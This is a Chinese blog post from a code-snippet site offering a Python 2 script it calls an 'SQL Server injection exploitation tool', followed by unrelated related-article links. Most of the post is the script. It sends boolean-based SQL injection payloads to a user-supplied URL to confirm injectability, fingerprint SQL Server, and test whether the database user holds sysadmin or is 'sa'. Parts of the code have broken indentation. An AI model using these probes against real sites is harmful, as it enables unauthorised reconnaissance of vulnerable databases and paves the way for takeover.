Python编写检测数据库SA用户的方法


Posted in Python onJuly 11, 2014

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()
Python 相关文章推荐
Python3处理文件中每个词的方法
May 22 Python
python中matplotlib实现最小二乘法拟合的过程详解
Jul 11 Python
详解Python 序列化Serialize 和 反序列化Deserialize
Aug 20 Python
python实现批量修改图片格式和尺寸
Jun 07 Python
Pandas读取MySQL数据到DataFrame的方法
Jul 25 Python
Python matplotlib的使用并自定义colormap的方法
Dec 13 Python
使用Bazel编译TensorBoard教程
Feb 15 Python
解决Jupyter Notebook开始菜单栏Anaconda下消失的问题
Apr 13 Python
使用Python画了一棵圣诞树的实例代码
Nov 27 Python
如何在vscode中安装python库的方法步骤
Jan 06 Python
python定义具名元组实例操作
Feb 28 Python
python标准库ElementTree处理xml
May 20 Python
python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
Jul 11 #Python
python文件和目录操作函数小结
Jul 11 #Python
python实现的登陆Discuz!论坛通用代码分享
Jul 11 #Python
Python Socket编程入门教程
Jul 11 #Python
python使用正则搜索字符串或文件中的浮点数代码实例
Jul 11 #Python
Python实现的二维码生成小软件
Jul 11 #Python
让python同时兼容python2和python3的8个技巧分享
Jul 11 #Python
You might like
怎样在UNIX系统下安装php3
2006/10/09 PHP
屏蔽PHP默认设置中的Notice警告的方法
2016/05/20 PHP
JavaScript 无符号右移运算符
2009/04/17 Javascript
向大师们学习Javascript(视频与PPT)
2009/12/27 Javascript
HTML node相关的一些资料整理
2010/01/01 Javascript
jQuery 验证插件 Web前端设计模式(asp.net)
2010/10/17 Javascript
学习面向对象之面向对象的基本概念:对象和其他基本要素
2010/11/30 Javascript
js对象与打印对象分析比较
2013/04/23 Javascript
tangram框架响应式加载图片方法
2013/11/21 Javascript
AngularJS中$watch和$timeout的使用示例
2016/09/20 Javascript
uploader秒传图片到服务器完整代码
2017/04/22 Javascript
NodeJS链接MySql数据库的操作方法
2017/06/27 NodeJs
vue按需引入element Transfer 穿梭框
2017/09/30 Javascript
详解vue mint-ui源码解析之loadmore组件
2017/10/11 Javascript
vue2 router 动态传参,多个参数的实例
2017/11/10 Javascript
在vue项目中安装使用Mint-UI的方法
2017/12/27 Javascript
vue router 传参获取不到的解决方式
2019/11/13 Javascript
微信小程序用canvas画图并分享
2020/03/09 Javascript
浅谈webpack构建工具配置和常用插件总结
2020/05/11 Javascript
[04:40]2016国际邀请赛中国区预选赛全程TOP10镜头集锦
2016/07/01 DOTA
零基础写python爬虫之使用Scrapy框架编写爬虫
2014/11/07 Python
Python multiprocessing模块中的Pipe管道使用实例
2015/04/11 Python
详解python中的json的基本使用方法
2016/12/21 Python
Python之Scrapy爬虫框架安装及简单使用详解
2017/12/22 Python
python使用numpy读取、保存txt数据的实例
2018/10/14 Python
Python连接字符串过程详解
2020/01/06 Python
python 实现rolling和apply函数的向下取值操作
2020/06/08 Python
QT5 Designer 打不开的问题及解决方法
2020/08/20 Python
详解使用双缓存解决Canvas clearRect引起的闪屏问题
2019/04/29 HTML / CSS
基于 HTML5 WebGL 实现的医疗物流系统
2019/10/08 HTML / CSS
国际领先的学术出版商:Springer
2017/01/11 全球购物
金士达面试非笔试
2012/03/14 面试题
初三学习计划书范文
2014/04/30 职场文书
环保标语口号
2014/06/13 职场文书
2019年教师节:送给所有老师的祝福语
2019/09/05 职场文书
MySQL数据库Innodb 引擎实现mvcc锁
2022/05/06 MySQL